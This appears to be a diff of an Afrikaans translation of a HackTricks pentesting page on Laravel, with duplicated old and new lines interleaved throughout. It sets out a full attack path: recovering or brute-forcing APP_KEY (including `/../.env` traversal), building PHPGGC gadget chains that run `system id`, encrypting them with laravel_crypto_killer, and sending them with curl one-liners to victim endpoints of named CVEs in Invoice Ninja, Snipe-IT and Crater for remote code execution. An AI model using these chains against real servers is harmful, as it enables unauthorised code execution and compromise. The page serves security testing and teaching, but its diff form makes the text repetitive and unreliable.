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Translated ['src/network-services-pentesting/pentesting-web/laravel.md']
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@ -29,7 +29,7 @@ use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete param, koekie, sessie, …).
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Voeg die geproduseerde string in enige kwesbare `decrypt()` sink in (roete parameter, koekie, sessie, …).
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---
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@ -45,7 +45,7 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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Die skrip ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
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Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
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---
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@ -58,32 +58,42 @@ Die skrip ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` koekie | Laravel/RCE15 |
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Die uitbuiting werkvloei is altyd:
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1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
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2. Genereer gadget met **PHPGGC**
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3. `laravel_crypto_killer.py encrypt …`
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4. Lewer payload deur die kwesbare parameter/koekie → **RCE**
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1. Verkry of brute-force die 32-byte `APP_KEY`.
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2. Bou 'n gadget ketting met **PHPGGC** (byvoorbeeld `Laravel/RCE13`, `Laravel/RCE9` of `Laravel/RCE15`).
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3. Enkripteer die geserialiseerde gadget met **laravel_crypto_killer.py** en die herwin `APP_KEY`.
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4. Lewer die ciphertext aan die kwesbare `decrypt()` sink (roete parameter, koekie, sessie …) om **RCE** te aktiveer.
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Hieronder is bondige een-liners wat die volle aanvalspad vir elke werklike wêreld CVE hierbo demonstreer:
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```bash
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# Invoice Ninja ≤5 – /route/{hash}
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php8.2 phpggc Laravel/RCE13 system id -b -f | \
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./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
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xargs -I% curl "https://victim/route/%"
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# Snipe-IT ≤6 – XSRF-TOKEN cookie
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php7.4 phpggc Laravel/RCE9 system id -b | \
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./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
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curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login
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# Crater – cookie-based session
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php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
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./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
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curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
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```
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---
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## Massiewe APP_KEY ontdekking via koekie brute-force
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## Mass APP_KEY ontdekking via koekie brute-force
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Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **lek openbare internet skandeerders (Shodan, Censys, …) miljoene ciphertexts** wat offline aangeval kan word.
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Omdat elke nuwe Laravel respons ten minste 1 versleutelde koekie (`XSRF-TOKEN` en gewoonlik `laravel_session`) stel, **lek openbare internet skanners (Shodan, Censys, …) miljoene ciphertexts** wat offline aangeval kan word.
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Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
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* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gebroke** (≈23 k)
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* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gebroke**
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* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gekraak** (≈23 k)
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* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gekraak**
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* >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
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* Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gekodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
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* Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone (UltimatePOS, Invoice Ninja, XPanel, …) gestuur word.
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Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volle dataset krak tot <2 minute verminder.
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Die private Go tool **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die kraken van die volle dataset tot <2 minute verminder.
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---
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## Verwysings
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* [Laravel: APP_KEY lekkasie analise](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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## Laravel Tricks
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@ -94,15 +104,15 @@ Byvoorbeeld `http://127.0.0.1:8000/profiles`:
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.png>)
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Dit is gewoonlik nodig vir die uitbuiting van ander Laravel RCE CVE's.
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Dit is gewoonlik nodig vir die ontginning van ander Laravel RCE CVE's.
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### .env
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Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang kan verkry word deur 'n paar pad traversie onder: `/../.env`
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Laravel stoor die APP wat dit gebruik om die koekies en ander geloofsbriewe te versleutel binne 'n lêer genaamd `.env` wat toegang verkry kan word deur 'n paar pad traversie onder: `/../.env`
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Laravel sal ook hierdie inligting binne die foutopsporing bladsy wys (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is).
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Laravel sal ook hierdie inligting binne die foutopsporing bladsy (wat verskyn wanneer Laravel 'n fout vind en dit geaktiveer is) wys.
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Met die geheime APP_KEY van Laravel kan jy koekies ontsleutel en weer versleutel:
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Deur die geheime APP_KEY van Laravel te gebruik, kan jy koekies ontsleutel en weer versleutel:
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### Ontsleutel Koekie
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```python
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@ -176,92 +186,13 @@ Of jy kan dit ook benut met metasploit: `use unix/http/laravel_token_unserialize
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Nog 'n deserialisering: [https://github.com/ambionics/laravel-exploits](https://github.com/ambionics/laravel-exploits)
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### Laravel SQLInjection
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Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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### Laravel SQLInjection
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Lees inligting oor dit hier: [https://stitcher.io/blog/unsafe-sql-functions-in-laravel](https://stitcher.io/blog/unsafe-sql-functions-in-laravel)
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---
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## APP_KEY & Encryption internals (Laravel \u003e=5.6)
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Laravel gebruik AES-256-CBC (of GCM) met HMAC integriteit onder die oppervlak (`Illuminate\\Encryption\\Encrypter`).
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Die rou ciphertext wat uiteindelik **na die kliënt gestuur** word, is **Base64 van 'n JSON objek** soos:
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```json
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{
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"iv" : "Base64(random 16-byte IV)",
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"value": "Base64(ciphertext)",
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"mac" : "HMAC_SHA256(iv||value, APP_KEY)",
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"tag" : "" // only used for AEAD ciphers (GCM)
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}
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```
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`encrypt($value, $serialize=true)` sal standaard die plaintext `serialize()`, terwyl `decrypt($payload, $unserialize=true)` **automaties `unserialize()`** die gedekripteerde waarde. Daarom **kan enige aanvaller wat die 32-byte geheim `APP_KEY` ken, 'n versleutelde PHP-serialiseerde objek saamstel en RCE verkry via magiese metodes (`__wakeup`, `__destruct`, …)**.
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Minimal PoC (framework ≥9.x):
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```php
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use Illuminate\Support\Facades\Crypt;
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$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
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$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
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```
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Inject die geproduseerde string in enige kwesbare `decrypt()` sink (roete param, koekie, sessie, …).
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---
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## laravel-crypto-killer 🧨
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[laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) outomatiseer die hele proses en voeg 'n gerieflike **bruteforce** modus by:
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```bash
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# Encrypt a phpggc chain with a known APP_KEY
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laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"
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# Decrypt a captured cookie / token
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laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
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# Try a word-list of keys against a token (offline)
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laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
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```
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Die skripte ondersteun deursigtig beide CBC en GCM payloads en hergenerer die HMAC/tag veld.
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---
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## Werklike wêreld kwesbare patrone
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| Projek | Kwesbare sink | Gadget ketting |
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|--------|----------------|----------------|
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| Invoice Ninja ≤v5 (CVE-2024-55555) | `/route/{hash}` → `decrypt($hash)` | Laravel/RCE13 |
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| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` koekie wanneer `Passport::withCookieSerialization()` geaktiveer is | Laravel/RCE9 |
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| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` koekie | Laravel/RCE15 |
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Die uitbuiting werkvloei is altyd:
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1. Verkry `APP_KEY` (standaard voorbeelde, Git lek, config/.env lek, of brute-force)
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2. Genereer gadget met **PHPGGC**
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3. `laravel_crypto_killer.py encrypt …`
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4. Lewer payload deur die kwesbare parameter/koekie → **RCE**
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---
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## Massiewe APP_KEY ontdekking via koekie brute-force
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Omdat elke vars Laravel antwoord ten minste 1 versleutelde koekie stel (`XSRF-TOKEN` en gewoonlik `laravel_session`), **publieke internet skandeerders (Shodan, Censys, …) lek miljoene ciphertexts** wat offline aangeval kan word.
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Belangrike bevindings van die navorsing gepubliseer deur Synacktiv (2024-2025):
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* Dataset Julie 2024 » 580 k tokens, **3.99 % sleutels gekraak** (≈23 k)
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* Dataset Mei 2025 » 625 k tokens, **3.56 % sleutels gekraak**
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* >1 000 bedieners steeds kwesbaar vir erflating CVE-2018-15133 omdat tokens direk geserialiseerde data bevat.
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* Groot sleutel hergebruik – die Top-10 APP_KEYs is hard-gecodeerde standaarde wat saam met kommersiële Laravel sjablone gestuur word (UltimatePOS, Invoice Ninja, XPanel, …).
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Die private Go gereedskap **nounours** druk AES-CBC/GCM bruteforce deurset na ~1.5 miljard pogings/s, wat die volledige dataset kraken tot <2 minute verminder.
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---
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## Verwysings
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* [Laravel: APP_KEY lekkasie analise](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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## References
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* [Laravel: APP_KEY leakage analysis (EN)](https://www.synacktiv.com/publications/laravel-appkey-leakage-analysis.html)
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* [Laravel : analyse de fuite d’APP_KEY (FR)](https://www.synacktiv.com/publications/laravel-analyse-de-fuite-dappkey.html)
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* [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
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* [PHPGGC – PHP Generiese Gadget Kettings](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 skrywe (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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* [PHPGGC – PHP Generic Gadget Chains](https://github.com/ambionics/phpggc)
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* [CVE-2018-15133 write-up (WithSecure)](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce)
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{{#include ../../banners/hacktricks-training.md}}
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